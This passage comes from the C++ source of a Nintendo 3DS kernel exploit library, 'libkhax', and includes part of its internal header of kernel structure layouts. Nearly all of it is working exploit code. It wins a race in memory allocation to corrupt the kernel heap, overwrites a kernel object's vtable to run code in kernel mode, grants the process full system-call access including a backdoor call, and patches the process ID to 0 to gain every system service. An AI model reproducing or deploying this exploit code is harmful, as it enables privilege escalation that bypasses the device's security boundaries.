if (newPID != m_originalPID)
{
KHAX_printf("Step7:not same:%lu\n", newPID);
return MakeError(27, 11, KHAX_MODULE, 1023);
}
return 0;
}
//------------------------------------------------------------------------------------------------
// Patch the PID to 0.
Result KHAX::MemChunkHax::Step7a_PatchPID()
{
// Disable interrupts ASAP.
// FIXME: Need a better solution for this.
__asm__ volatile("cpsid aif");
// Patch the PID to 0. The version data has a function pointer in m_makeKProcessPointers
// to translate the raw KProcess pointer into pointers into key fields, and we access the
// m_processID field from it.
*(s_instance->m_versionData->m_makeKProcessPointers(*s_instance->m_versionData->m_currentKProcessPtr)
.m_processID) = 0;
return 0;
}
//------------------------------------------------------------------------------------------------
// Restore the original PID.
Result KHAX::MemChunkHax::Step7b_UnpatchPID()
{
// Disable interrupts ASAP.
// FIXME: Need a better solution for this.
__asm__ volatile("cpsid aif");
// Patch the PID back to the original value.
*(s_instance->m_versionData->m_makeKProcessPointers(*s_instance->m_versionData->m_currentKProcessPtr)
.m_processID) = s_instance->m_originalPID;
return 0;
}
//------------------------------------------------------------------------------------------------
// Helper for dumping memory to SD card.
template <std::size_t S>
bool KHAX::MemChunkHax::DumpMemberToSDCard(const unsigned char(MemChunkHax::*member)[S], const char *filename) const
{
char formatted[32];
snprintf(formatted, KHAX_lengthof(formatted), filename,
static_cast<unsigned>(m_versionData->m_kernelVersion), m_versionData->m_new3DS ?
"New" : "Old");
bool result = true;
FILE *file = std::fopen(formatted, "wb");
if (file)
{
result = result && (std::fwrite(this->*member, 1, sizeof(this->*member), file) == 1);
std::fclose(file);
}
else
{
result = false;
}
return result;
}
//------------------------------------------------------------------------------------------------
// Free memory and such.
KHAX::MemChunkHax::~MemChunkHax()
{
// Dump memory to SD card if that is enabled.
#ifdef KHAX_DEBUG_DUMP_DATA
if (m_nextStep > 6)
{
DumpMemberToSDCard(&MemChunkHax::m_savedKProcess, "KProcess-%08X-%s.bin");
DumpMemberToSDCard(&MemChunkHax::m_savedKThread, "KThread-%08X-%s.bin");
DumpMemberToSDCard(&MemChunkHax::m_savedThreadSVC, "ThreadSVC-%08X-%s.bin");
}
#endif
// If we're corrupted, we're dead.
if (m_corrupted > 0)
{
KHAX_printf("~:error while corrupt;freezing\n");
for (;;)
{
svcSleepThread(s64(60) * 1000000000);
}
}
// This function has to be careful not to crash trying to shut down after an aborted attempt.
if (m_overwriteMemory)
{
u32 dummy;
// Each page has a flag indicating that it is still allocated.
for (unsigned x = 0; x < KHAX_lengthof(m_overwriteMemory->m_pages); ++x)
{
// Don't free a page unless it remains allocated.
if (m_overwriteAllocated & (1u << x))
{
Result res = svcControlMemory(&dummy, reinterpret_cast<u32>(&m_overwriteMemory->m_pages[x]), 0,
sizeof(m_overwriteMemory->m_pages[x]), MEMOP_FREE, static_cast<MemPerm>(0));
KHAX_printf("free %u: %08lx\n", x, res);
}
}
}
// Free the extra linear memory.
if (m_extraLinear)
{
linearFree(m_extraLinear);
}
// s_instance better be us
if (s_instance != this)
{
KHAX_printf("~:s_instance is wrong\n");
}
else
{
s_instance = nullptr;
}
}
//------------------------------------------------------------------------------------------------
//
// Class MemChunkHax2
//
//------------------------------------------------------------------------------------------------
KHAX::MemChunkHax2 *volatile KHAX::MemChunkHax2::s_instance = nullptr;
//------------------------------------------------------------------------------------------------
// Basic initialization.
Result KHAX::MemChunkHax2::Step1_Initialize()
{
if (m_nextStep != 1)
{
KHAX_printf("MemChunkHax: Invalid step number %d for Step1_Initialize\n", m_nextStep);
return MakeError(28, 5, KHAX_MODULE, 1016);
}
// Allow executing threads on core 1.
aptOpenSession();
Result aptResult = APT_SetAppCpuTimeLimit(30);
if(R_FAILED(aptResult)) {
KHAX_printf("Step1:Allow core1 threads fail:%08lx\n", aptResult);
return aptResult;
}
aptCloseSession();
++m_nextStep;
return 0;
}
//------------------------------------------------------------------------------------------------
// Isolate a physical page of memory.
Result KHAX::MemChunkHax2::Step2_IsolatePage()
{
if (m_nextStep != 2)
{
KHAX_printf("MemChunkHax: Invalid step number %d for Step2_IsolatePage\n", m_nextStep);
return MakeError(28, 5, KHAX_MODULE, 1016);
}
// Isolate a single page between others to ensure using the next pointer.
Result createIsolatedResult = svcControlMemory(&m_isolatedPage, m_mapAddr + m_mapSize, 0, PAGE_SIZE, MEMOP_ALLOC, (MemPerm) (MEMPERM_READ | MEMPERM_WRITE));
if(R_FAILED(createIsolatedResult)) {
KHAX_printf("Step2:Allocate isolated page fail:%08lx\n", createIsolatedResult);
return createIsolatedResult;
}
KHAX_printf("Step2:Isolated page:%08lx\n", m_isolatedPage);
Result createIsolatingResult = svcControlMemory(&m_isolatingPage, m_isolatedPage + PAGE_SIZE, 0, PAGE_SIZE, MEMOP_ALLOC, (MemPerm) (MEMPERM_READ | MEMPERM_WRITE));
if(R_FAILED(createIsolatingResult)) {
KHAX_printf("Step2:Allocate isolating page fail:%08lx\n", createIsolatingResult);
return createIsolatingResult;
}
KHAX_printf("Step2:Isolating page:%08lx\n", m_isolatingPage);
Result freeIsolatedResult = svcControlMemory(&m_isolatedPage, m_isolatedPage, 0, PAGE_SIZE, MEMOP_FREE, MEMPERM_DONTCARE);
if(R_FAILED(freeIsolatedResult)) {
KHAX_printf("Step2:Free isolated page fail:%08lx\n", freeIsolatedResult);
return freeIsolatedResult;
}
m_isolatedPage = 0;
++m_nextStep;
return 0;
}
//------------------------------------------------------------------------------------------------
// Overwrite a kernel object's vtable to gain code execution.
Result KHAX::MemChunkHax2::Step3_OverwriteVtable()
{
if (m_nextStep != 3)
{
KHAX_printf("MemChunkHax: Invalid step number %d for Step3_OverwriteVtable\n", m_nextStep);
return MakeError(28, 5, KHAX_MODULE, 1016);
}
// Create a KSynchronizationObject in order to use part of its data as a fake memory block header.
// Within the KSynchronizationObject, refCount = size, syncedThreads = next, firstThreadNode = prev.
// Prev does not matter, as any verification happens prior to the overwrite.
// However, next must be 0, as it does not use size to check when allocation is finished.
// If next is not 0, it will continue to whatever is pointed to by it.
// Even if this eventually reaches an end, it will continue decrementing the remaining size value.
// This will roll over, and panic when it thinks that there is more memory to allocate than was available.
Result createObjResult = svcCreateEventKAddr(&m_kObjHandle, 0, &m_kObjAddr);
if(R_FAILED(createObjResult)) {
KHAX_printf("Step3:Create kernel object fail:%08lx\n", createObjResult);
return createObjResult;
}
KHAX_printf("Step3:Kernel object addr:%08lx\n", m_kObjAddr);
// Allocate a buffer for backing up kernel memory.
m_backup = std::malloc(PAGE_SIZE);
if (m_backup == NULL)
{
KHAX_printf("Step3:Allocate m_backup fail\n");
return MakeError(26, 3, KHAX_MODULE, 1011);
}
KHAX_printf("Step3:Performing race...\n");
// Create thread to slow down svcControlMemory execution.
m_delayThread = threadCreate(Step3a_DelayThread, this, 0x4000, 0x18, 1, true);
if(m_delayThread == NULL) {
KHAX_printf("Step3:Create delay thread fail\n");
return MakeError(26, 3, KHAX_MODULE, 1011);
}
// Create thread to allocate pagges.
if(threadCreate(Step3b_AllocateThread, this, 0x4000, 0x3F, 1, true) == NULL) {
KHAX_printf("Step3:Create allocate thread fail\n");
return MakeError(26, 3, KHAX_MODULE, 1011);
}
// Use svcArbitrateAddress to detect when the first memory page has been mapped.
while(static_cast<u32>(svcArbitrateAddress(m_arbiter, m_mapAddr, ARBITRATION_WAIT_IF_LESS_THAN_TIMEOUT, 0, 0)) == 0xD9001814);
// Overwrite the header "next" pointer to our crafted MemChunkHdr within our kernel object.
reinterpret_cast<HeapFreeBlock*>(m_mapAddr)->m_next = reinterpret_cast<HeapFreeBlock*>(m_kObjAddr - m_versionData->m_slabHeapVirtualAddress + m_versionData->m_slabHeapPhysicalAddress - m_versionData->m_kernelVirtualToPhysical);
// Use svcArbitrateAddress to detect when the kernel memory page has been mapped.
while(static_cast<u32>(svcArbitrateAddress(m_arbiter, m_mapAddr + PAGE_SIZE, ARBITRATION_WAIT_IF_LESS_THAN_TIMEOUT, 0, 0)) == 0xD9001814);
// Back up the kernel page before it is cleared.
memcpy(m_backup, reinterpret_cast<void*>(m_mapAddr + PAGE_SIZE), PAGE_SIZE);
if(m_mapResult != -1) {
KHAX_printf("Step3:svcControlMemory race fail\n");
return MakeError(26, 3, KHAX_MODULE, 1003);
}
// Wait for memory mapping to complete.
while(m_mapResult == -1) {
svcSleepThread(1000000);
}
if(R_FAILED(m_mapResult)) {
KHAX_printf("Step3:svcControlMemory fail:%08lx\n", m_mapResult);
return m_mapResult;
}
// Restore the kernel page backup.
memcpy(reinterpret_cast<void*>(m_mapAddr + PAGE_SIZE), m_backup, PAGE_SIZE);
// Get pointer to object vtable.
void(***vtablePtr)() = reinterpret_cast<void(***)()>(m_mapAddr + PAGE_SIZE + (m_kObjAddr & 0xFFF) - 4);
// Backup old vtable pointer.
m_oldVtable = *vtablePtr;
// Set new vtable pointer.
*vtablePtr = m_vtable;
// Close handle, executing kernel-mode code.
svcCloseHandle(m_kObjHandle);
m_kObjHandle = 0;
// Restore old vtable pointer.
*vtablePtr = m_oldVtable;
KHAX_printf("Step3:Kernel result:%08lx\n", m_kernelResult);
if(m_kernelResult != 0) {
KHAX_printf("Step3:Kernel exec fail\n");
return m_kernelResult;
}
++m_nextStep;
return 0;
}
//------------------------------------------------------------------------------------------------
// Thread function to slow down svcControlMemory execution.
void KHAX::MemChunkHax2::Step3a_DelayThread(void* arg) {
MemChunkHax2* hax = (MemChunkHax2*) arg;
// Slow down thread execution until the control operation has completed.
while(hax->m_mapResult == -1) {
svcSleepThread(10000);
}
}
//------------------------------------------------------------------------------------------------
// Thread function to allocate memory pages.
void KHAX::MemChunkHax2::Step3b_AllocateThread(void* arg) {
MemChunkHax2* hax = (MemChunkHax2*) arg;
// Allocate the requested pages.
hax->m_mapResult = svcControlMemory(&hax->m_mapAddr, hax->m_mapAddr, 0, hax->m_mapSize, MEMOP_ALLOC, (MemPerm) (MEMPERM_READ | MEMPERM_WRITE));
}
//------------------------------------------------------------------------------------------------
// SVC-mode entry point thunk (true entry point).
//KHAX_ATTRIBUTE(__attribute__((__naked__)))
void KHAX::MemChunkHax2::Step3c_SVCEntryPointThunk()
{
// Call intended function.
s_instance->m_oldVtable[KEVENT_DESTRUCTOR]();
s_instance->Step3d_SVCEntryPoint();
}
//------------------------------------------------------------------------------------------------
// SVC-mode entry point thunk (true entry point).
void KHAX::MemChunkHax2::Step3d_SVCEntryPoint()
{
if (Result result = s_instance->Step3e_GrantSVCAccess())
{
m_kernelResult = result;
return;
}
m_kernelResult = 0;
}
//------------------------------------------------------------------------------------------------
// Grant our process access to all system calls, including svcBackdoor.
Result KHAX::MemChunkHax2::Step3e_GrantSVCAccess()
{
// Everything, except nonexistent services 00, 7E or 7F.
static constexpr const char s_fullAccessACL[] = "\xFE\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x3F";
// Get the KThread pointer. Its type doesn't vary, so far.
KThread *kthread = *m_versionData->m_currentKThreadPtr;
// Get a pointer to the SVC ACL within the SVC area for the thread.
SVCThreadArea *svcThreadArea = ContainingRecord<SVCThreadArea>(kthread->m_svcRegisterState, &SVCThreadArea::m_svcRegisterState);
KSVCACL &threadACL = svcThreadArea->m_svcAccessControl;
// Save the old one for diagnostic purposes.
std::memcpy(m_oldACL, threadACL, sizeof(threadACL));
// Set the ACL for the current thread.
std::memcpy(threadACL, s_fullAccessACL, sizeof(threadACL));
return 0;
}
//------------------------------------------------------------------------------------------------
// Grant access to all services.
Result KHAX::MemChunkHax2::Step4_GrantServiceAccess()
{
if (m_nextStep != 4)
{
KHAX_printf("MemChunkHax: Invalid step number %d for Step4_GrantServiceAccess\n", m_nextStep);
return MakeError(28, 5, KHAX_MODULE, 1016);
}
// Backup the original PID.
Result result = svcGetProcessId(&m_originalPID, m_versionData->m_currentKProcessHandle);
if (result != 0)
{
KHAX_printf("Step4:GetPID1 fail:%08lx\n", result);
return result;
}
KHAX_printf("Step4:current pid=%lu\n", m_originalPID);
// Patch the PID to 0, granting access to all services.
svcBackdoor(Step4a_PatchPID);
// Check whether PID patching succeeded.
u32 newPID;
result = svcGetProcessId(&newPID, m_versionData->m_currentKProcessHandle);
if (result != 0)
{
// Attempt patching back anyway, for stability reasons.
svcBackdoor(Step4b_UnpatchPID);
KHAX_printf("Step4:GetPID2 fail:%08lx\n", result);
return result;
}
if (newPID != 0)
{
KHAX_printf("Step4:nonzero:%lu\n", newPID);
return MakeError(27, 11, KHAX_MODULE, 1023);
}
// Reinit ctrulib's srv connection to gain access to all services.
srvExit();
srvInit();
// Restore the original PID now that srv has been tricked into thinking that we're PID 0.
svcBackdoor(Step4b_UnpatchPID);
// Check whether PID restoring succeeded.
result = svcGetProcessId(&newPID, m_versionData->m_currentKProcessHandle);
if (result != 0)
{
KHAX_printf("Step4:GetPID3 fail:%08lx\n", result);
return result;
}
if (newPID != m_originalPID)
{
KHAX_printf("Step4:not same:%lu\n", newPID);
return MakeError(27, 11, KHAX_MODULE, 1023);
}
return 0;
}
//------------------------------------------------------------------------------------------------
// Patch the PID to 0.
Result KHAX::MemChunkHax2::Step4a_PatchPID()
{
// Disable interrupts ASAP.
// FIXME: Need a better solution for this.
__asm__ volatile("cpsid aif");
// Patch the PID to 0. The version data has a function pointer in m_makeKProcessPointers
// to translate the raw KProcess pointer into pointers into key fields, and we access the
// m_processID field from it.
*(s_instance->m_versionData->m_makeKProcessPointers(*s_instance->m_versionData->m_currentKProcessPtr)
.m_processID) = 0;
return 0;
}
//------------------------------------------------------------------------------------------------
// Restore the original PID.
Result KHAX::MemChunkHax2::Step4b_UnpatchPID()
{
// Disable interrupts ASAP.
// FIXME: Need a better solution for this.
__asm__ volatile("cpsid aif");
// Patch the PID back to the original value.
*(s_instance->m_versionData->m_makeKProcessPointers(*s_instance->m_versionData->m_currentKProcessPtr)
.m_processID) = s_instance->m_originalPID;
return 0;
}
//------------------------------------------------------------------------------------------------
// Creates an event object, writing its kernel object address into kaddr from r2.
KHAX_ATTRIBUTE(__attribute__((__naked__)))
Result KHAX::MemChunkHax2::svcCreateEventKAddr(Handle* event, u8 reset_type, u32* kaddr) {
asm volatile(
"str r0, [sp, #-4]!\n"
"str r2, [sp, #-4]!\n"
"svc 0x17\n"
"ldr r3, [sp], #4\n"
"str r2, [r3]\n"
"ldr r3, [sp], #4\n"
"str r1, [r3]\n"
"bx lr"
);
}
//------------------------------------------------------------------------------------------------
// Free memory and such.
KHAX::MemChunkHax2::~MemChunkHax2()
{
if(m_mapResult == 0) {
svcControlMemory(&m_mapAddr, m_mapAddr, 0, m_mapSize, MEMOP_FREE, MEMPERM_DONTCARE);
}
if(m_delayThread != NULL && m_mapResult == -1) {
// Set the result to 0 to terminate the delay thread.
m_mapResult = 0;
}
if(m_backup != NULL) {
std::free(m_backup);
}
if(m_isolatedPage != 0) {
svcControlMemory(&m_isolatedPage, m_isolatedPage, 0, PAGE_SIZE, MEMOP_FREE, MEMPERM_DONTCARE);
m_isolatedPage = 0;
}
if(m_isolatingPage != 0) {
svcControlMemory(&m_isolatingPage, m_isolatingPage, 0, PAGE_SIZE, MEMOP_FREE, MEMPERM_DONTCARE);
m_isolatingPage = 0;
}
if(m_kObjHandle != 0) {
svcCloseHandle(m_kObjHandle);
}
// s_instance better be us
if (s_instance != this)
{
KHAX_printf("~:s_instance is wrong\n");
}
else
{
s_instance = nullptr;
}
}
//------------------------------------------------------------------------------------------------
//
// Miscellaneous
//
//------------------------------------------------------------------------------------------------
// Make an error code
inline Result KHAX::MakeError(Result level, Result summary, Result module, Result error)
{
return (level << 27) + (summary << 21) + (module << 10) + error;
}
//------------------------------------------------------------------------------------------------
// Check whether this system is a New 3DS.
Result KHAX::IsNew3DS(bool *answer, u32 kernelVersionAlreadyKnown)
{
// If the kernel version isn't already known by the caller, find out.
u32 kernelVersion = kernelVersionAlreadyKnown;
if (kernelVersion == 0)
{
kernelVersion = osGetKernelVersion();
}
// APT_CheckNew3DS doesn't work on < 8.0.0, but neither do such New 3DS's exist.
if (kernelVersion >= SYSTEM_VERSION(2, 44, 6))
{
// Check whether the system is a New 3DS. If this fails, abort, because being wrong would
// crash the system.
u8 isNew3DS = 0;
if (Result error = APT_CheckNew3DS(&isNew3DS))
{
*answer = false;
return error;
}
// Use the result of APT_CheckNew3DS.
*answer = isNew3DS != 0;
return 0;
}
// Kernel is older than 8.0.0, so we logically conclude that this cannot be a New 3DS.
*answer = false;
return 0;
}
//------------------------------------------------------------------------------------------------
// gspwn, meant for reading from or writing to freed buffers.
Result KHAX::GSPwn(void *dest, const void *src, std::size_t size, bool wait)
{
// Copy that floppy.
if (Result result = GX_TextureCopy(static_cast<u32 *>(const_cast<void *>(src)), 0,
static_cast<u32 *>(dest), 0, size, 8))
{
KHAX_printf("gspwn:copy fail:%08lx\n", result);
return result;
}
// Wait for the operation to finish.
if (wait)
{
gspWaitForPPF();
}
return 0;
}
Result KHAX::userFlushDataCache(const void *p, std::size_t n)
{
return GSPGPU_FlushDataCache(p, n);
}
Result KHAX::userInvalidateDataCache(const void *p, std::size_t n)
{
return GSPGPU_InvalidateDataCache(p, n);
}
void KHAX::userFlushPrefetch()
{
__asm__ volatile ("mcr p15, 0, %0, c7, c5, 4\n" :: "r"(0));
}
void KHAX::userDsb()
{
__asm__ volatile ("mcr p15, 0, %0, c7, c10, 4\n" :: "r"(0));
}
void KHAX::userDmb()
{
__asm__ volatile ("mcr p15, 0, %0, c7, c10, 5\n" :: "r"(0));
}
void KHAX::kernelCleanDataCacheLineWithMva(const void *p)
{
__asm__ volatile ("mcr p15, 0, %0, c7, c10, 1\n" :: "r"(p));
}
void KHAX::kernelInvalidateInstructionCacheLineWithMva(const void *p)
{
__asm__ volatile ("mcr p15, 0, %0, c7, c5, 1\n" :: "r"(p));
}
//------------------------------------------------------------------------------------------------
// Given a pointer to a structure that is a member of another structure,
// return a pointer to the outer structure. Inspired by Windows macro.
template <typename Outer, typename Inner>
Outer *KHAX::ContainingRecord(Inner *member, Inner Outer::*field)
{
unsigned char *p = reinterpret_cast<unsigned char *>(member);
p -= reinterpret_cast<std::uintptr_t>(&(static_cast<Outer *>(nullptr)->*field));
return reinterpret_cast<Outer *>(p);
}
//------------------------------------------------------------------------------------------------
// Main initialization function interface.
extern "C" Result khaxInit()
{
using namespace KHAX;
#ifdef KHAX_DEBUG
bool isNew3DS;
IsNew3DS(&isNew3DS, 0);
KHAX_printf("khaxInit: k=%08lx f=%08lx n=%d\n", osGetKernelVersion(), osGetFirmVersion(),
isNew3DS);
#endif
// Look up the current system's version in our table.
const VersionData *versionData = VersionData::GetForCurrentSystem();
if (!versionData)
{
KHAX_printf("khaxInit: Unknown kernel version\n");
return MakeError(27, 6, KHAX_MODULE, 39);
}
if(versionData->m_kernelVersion <= 0) { //SYSTEM_VERSION(2, 46, 0)
KHAX_printf("verdat t=%08lx s=%08lx v=%08lx\n", versionData->m_threadPatchAddress,
versionData->m_syscallPatchAddress, versionData->m_fcramVirtualAddress);
// Create the hack object.
MemChunkHax hax{ versionData };
// Run through the steps.
if (Result result = hax.Step1_Initialize())
{
KHAX_printf("khaxInit: Step1 failed: %08lx\n", result);
return result;
}
if (Result result = hax.Step2_AllocateMemory())
{
KHAX_printf("khaxInit: Step2 failed: %08lx\n", result);
return result;
}
if (Result result = hax.Step3_SurroundFree())
{
KHAX_printf("khaxInit: Step3 failed: %08lx\n", result);
return result;
}
if (Result result = hax.Step4_VerifyExpectedLayout())
{
KHAX_printf("khaxInit: Step4 failed: %08lx\n", result);
return result;
}
if (Result result = hax.Step5_CorruptCreateThread())
{
KHAX_printf("khaxInit: Step5 failed: %08lx\n", result);
return result;
}
if (Result result = hax.Step6_ExecuteSVCCode())
{
KHAX_printf("khaxInit: Step6 failed: %08lx\n", result);
return result;
}
if (Result result = hax.Step7_GrantServiceAccess())
{
KHAX_printf("khaxInit: Step7 failed: %08lx\n", result);
return result;
}
} else if(versionData->m_kernelVersion <= SYSTEM_VERSION(2, 50, 9)) {
KHAX_printf("verdat s=%08lx\n", versionData->m_slabHeapVirtualAddress);
// Create the hack object.
MemChunkHax2 hax{ versionData };
// Run through the steps.
if (Result result = hax.Step1_Initialize())
{
KHAX_printf("khaxInit: Step1 failed: %08lx\n", result);
return result;
}
if (Result result = hax.Step2_IsolatePage())
{
KHAX_printf("khaxInit: Step2 failed: %08lx\n", result);
return result;
}
if (Result result = hax.Step3_OverwriteVtable())
{
KHAX_printf("khaxInit: Step3 failed: %08lx\n", result);
return result;
}
if (Result result = hax.Step4_GrantServiceAccess())
{
KHAX_printf("khaxInit: Step4 failed: %08lx\n", result);
return result;
}
}
KHAX_printf("khaxInit: done\n");
return 0;
return 0;
}
//------------------------------------------------------------------------------------------------
// Shut down libkhax. Doesn't actually do anything at the moment, since khaxInit does everything
// and frees all memory on the way out.
extern "C" Result khaxExit()
{
return 0;
}
<file_sep>/khaxinternal.h
#pragma once
#ifdef KHAX_DEBUG
#define KHAX_printf(...) printf(__VA_ARGS__)
#else
#define KHAX_printf(...) static_cast<void>(__VA_ARGS__)
#endif
// Shut up IntelliSense warnings when using MSVC as an IDE, even though MSVC will obviously never
// actually compile this program.
#ifdef _MSC_VER
#undef ALIGN
#define ALIGN(x) __declspec(align(x))
#if _MSC_VER < 1900
#define alignof __alignof
#endif
#define KHAX_ATTRIBUTE(...)
#else
#define KHAX_ATTRIBUTE(...) __VA_ARGS__
#endif
#define KHAX_lengthof(...) (sizeof(__VA_ARGS__) / sizeof((__VA_ARGS__)[0]))
//------------------------------------------------------------------------------------------------
namespace KHAX
{
//------------------------------------------------------------------------------------------------
// This code uses offsetof illegally (i.e. on polymorphic classes).
#pragma GCC diagnostic push
#pragma GCC diagnostic ignored "-Winvalid-offsetof"
//------------------------------------------------------------------------------------------------
// Size of a page.
static constexpr const u32 PAGE_SIZE = 0x1000;
//------------------------------------------------------------------------------------------------
// General linked list node kernel object.
struct KLinkedListNode
{
KLinkedListNode *next;
KLinkedListNode *prev;
void *data;
};
static_assert(sizeof(KLinkedListNode) == 0x00C, "KLinkedListNode isn't the expected size.");
//------------------------------------------------------------------------------------------------
// Base class of reference-counted kernel objects.
class KAutoObject
{
public:
u32 m_refCount; // +004
protected:
virtual ~KAutoObject() {}
};
static_assert(sizeof(KAutoObject) == 0x008, "KAutoObject isn't the expected size.");
static_assert(offsetof(KAutoObject, m_refCount) == 0x004, "KAutoObject isn't the expected layout.");
//------------------------------------------------------------------------------------------------
// Base class of synchronizable objects.
class KSynchronizationObject : public KAutoObject
{
public:
u32 m_threadSyncCount; // +008
KLinkedListNode *m_threadSyncFirst; // +00C
KLinkedListNode *m_threadSyncLast; // +010
};
static_assert(sizeof(KSynchronizationObject) == 0x014, "KSynchronizationObject isn't the expected size.");
static_assert(offsetof(KSynchronizationObject, m_threadSyncCount) == 0x008,
"KSynchronizationObject isn't the expected layout.");
//------------------------------------------------------------------------------------------------
struct KDebugThread;
struct KThreadLocalPage;
class KCodeSet;
//------------------------------------------------------------------------------------------------
// Unofficial name
typedef u8 KSVCACL[0x80 / 8];
//------------------------------------------------------------------------------------------------
// ARM VFP register
union KHAX_ATTRIBUTE(__attribute__((__aligned__(4))) __attribute__((__packed__))) VFPRegister
{
float m_single[2];
double m_double;
};
static_assert(alignof(VFPRegister) == 0x004,
"VFPRegister isn't the expected alignment.");
static_assert(sizeof(VFPRegister) == 0x008,
"VFPRegister isn't the expected size.");
//------------------------------------------------------------------------------------------------
// SVC-mode register save area.
// http://3dbrew.org/wiki/Memory_layout#0xFF4XX000
struct SVCRegisterState
{
u32 m_r4; // +000
u32 m_r5; // +004
u32 m_r6; // +008
u32 m_r7; // +00C
u32 m_r8; // +010
u32 m_r9; // +014
u32 m_sl; // +018
u32 m_fp; // +01C
u32 m_sp; // +020
u32 m_lr; // +024
};
static_assert(sizeof(SVCRegisterState) == 0x028,
"SVCRegisterState isn't the expected size.");
//------------------------------------------------------------------------------------------------
// SVC-mode thread state structure. This is the last part of the per-
// thread page allocated in 0xFF4XX000.
// http://3dbrew.org/wiki/Memory_layout#0xFF4XX000
struct SVCThreadArea
{
KSVCACL m_svcAccessControl; // +000
u32 m_unknown010; // +010
u32 m_unknown014; // +014
SVCRegisterState m_svcRegisterState; // +018
VFPRegister m_vfpRegisters[16]; // +040
u32 m_unknown0C4; // +0C0
u32 m_fpexc; // +0C4
};
static_assert(offsetof(SVCThreadArea, m_svcRegisterState) == 0x018,
"ThreadSVCArea isn't the expected layout.");
static_assert(sizeof(SVCThreadArea) == 0x0C8,
"ThreadSVCArea isn't the expected size.");
//------------------------------------------------------------------------------------------------
// Kernel's internal structure of a thread object.
class KThread : public KSynchronizationObject
{
public:
u32 m_unknown014; // +014
u32 m_unknown018; // +018
u32 m_unknown01C; // +01C
u32 m_unknown020; // +020
u32 m_unknown024; // +024
u32 m_unknown028; // +028
u32 m_unknown02C; // +02C
u32 m_unknown030; // +030
u32 m_unknown034; // +034
KDebugThread *m_debugThread; // +038
s32 m_threadPriority; // +03C
void *m_waitingOnObject; // +040
u32 m_unknown044; // +044
KThread **m_schedulerUnknown048; // +048
void *m_arbitrationAddress; // +04C
u32 m_unknown050; // +050
u32 m_unknown054; // +054
u32 m_unknown058; // +058
KLinkedListNode *m_waitingOnList; // +05C
u32 m_unknownListCount; // +060
KLinkedListNode *m_unknownListHead; // +064
KLinkedListNode *m_unknownListTail; // +068
s32 m_threadPriority2; // +06C
s32 m_creatingProcessor; // +070
u32 m_unknown074; // +074
u32 m_unknown078; // +078
u16 m_unknown07C; // +07C
u8 m_threadType; // +07E
u8 m_padding07F; // +07F
void *m_process; // +080
u32 m_threadID; // +084
SVCRegisterState *m_svcRegisterState; // +088
void *m_svcPageEnd; // +08C
s32 m_idealProcessor; // +090
void *m_tlsUserMode; // +094
void *m_tlsKernelMode; // +098
u32 m_unknown09C; // +09C
KThread *m_prev; // +0A0
KThread *m_next; // +0A4
KThread **m_temporaryLinkedList; // +0A8
u32 m_unknown0AC; // +0B0
};
static_assert(sizeof(KThread) == 0x0B0,
"KThread isn't the expected size.");
static_assert(offsetof(KThread, m_svcRegisterState) == 0x088,
"KThread isn't the expected layout.");
//------------------------------------------------------------------------------------------------
// Kernel's internal structure of a process object.
// Version 1.0.0(?) - 7.2.0
class KProcess_1_0_0_Old : public KSynchronizationObject
{
public:
u32 m_unknown014; // +014
u32 m_unknown018; // +018
KThread *volatile m_interactingThread; // +01C
u16 m_unknown020; // +020
u16 m_unknown022; // +022
u32 m_unknown024; // +024
u32 m_unknown028; // +028
u32 m_memoryBlockCount; // +02C
KLinkedListNode *m_memoryBlockFirst; // +030
KLinkedListNode *m_memoryBlockLast; // +034
u32 m_unknown038; // +038
u32 m_unknown03C; // +03C
void *m_translationTableBase; // +040
u8 m_contextID; // +044
u32 m_unknown048; // +048
u32 m_unknown04C; // +04C
u32 m_mmuTableSize; // +050
void *m_mmuTableAddress; // +054
u32 m_threadContextPagesSize; // +058
u32 m_threadLocalPageCount; // +05C
KLinkedListNode *m_threadLocalPageFirst; // +060
KLinkedListNode *m_threadLocalPageLast; // +064
u32 m_unknown068; // +068
s32 m_idealProcessor; // +06C
u32 m_unknown070; // +070
void *m_resourceLimits; // +074
u8 m_unknown078; // +078
u8 m_affinityMask; // +079
u32 m_threadCount; // +07C
KSVCACL m_svcAccessControl; // +080
u32 m_interruptFlags[0x80 / 32]; // +090
u32 m_kernelFlags; // +0A0
u16 m_handleTableSize; // +0A4
u16 m_kernelReleaseVersion; // +0A6
KCodeSet *m_codeSet; // +0A8
u32 m_processID; // +0AC
u32 m_kernelFlags2; // +0B0
u32 m_unknown0B4; // +0B4
KThread *m_mainThread; // +0B8
//...more...
};
static_assert(offsetof(KProcess_1_0_0_Old, m_svcAccessControl) == 0x080,
"KProcess_1_0_0_Old isn't the expected layout.");
//------------------------------------------------------------------------------------------------
// Kernel's internal structure of a process object.
// Old 3DS Version 8.0.0 - 9.5.0...
class KProcess_8_0_0_Old : public KSynchronizationObject
{
public:
u32 m_unknown014; // +014
u32 m_unknown018; // +018
KThread *volatile m_interactingThread; // +01C
u16 m_unknown020; // +020
u16 m_unknown022; // +022
u32 m_unknown024; // +024
u32 m_unknown028; // +028
u32 m_memoryBlockCount; // +02C
KLinkedListNode *m_memoryBlockFirst; // +030
KLinkedListNode *m_memoryBlockLast; // +034
u32 m_unknown038; // +038
u32 m_unknown03C; // +03C
void *m_translationTableBase; // +040
u8 m_contextID; // +044
u32 m_unknown048; // +048
void *m_userVirtualMemoryEnd; // +04C
void *m_userLinearVirtualBase; // +050
u32 m_unknown054; // +054
u32 m_mmuTableSize; // +058
void *m_mmuTableAddress; // +05C
u32 m_threadContextPagesSize; // +060
u32 m_threadLocalPageCount; // +064
KLinkedListNode *m_threadLocalPageFirst; // +068
KLinkedListNode *m_threadLocalPageLast; // +06C
u32 m_unknown070; // +070
s32 m_idealProcessor; // +074
u32 m_unknown078; // +078
void *m_resourceLimits; // +07C
u32 m_unknown080; // +080
u32 m_threadCount; // +084
u8 m_svcAccessControl[0x80 / 8]; // +088
u32 m_interruptFlags[0x80 / 32]; // +098
u32 m_kernelFlags; // +0A8
u16 m_handleTableSize; // +0AC
u16 m_kernelReleaseVersion; // +0AE
KCodeSet *m_codeSet; // +0B0
u32 m_processID; // +0B4
u32 m_unknown0B8; // +0B8
u32 m_unknown0BC; // +0BC
KThread *m_mainThread; // +0C0
//...more...
};
static_assert(offsetof(KProcess_8_0_0_Old, m_svcAccessControl) == 0x088,
"KProcess_8_0_0_Old isn't the expected layout.");
//------------------------------------------------------------------------------------------------
// Kernel's internal structure of a process object.
// New 3DS Version 8.0.0 - 9.5.0...
class KProcess_8_0_0_New : public KSynchronizationObject
{
public:
u32 m_unknown014; // +014
u32 m_unknown018; // +018
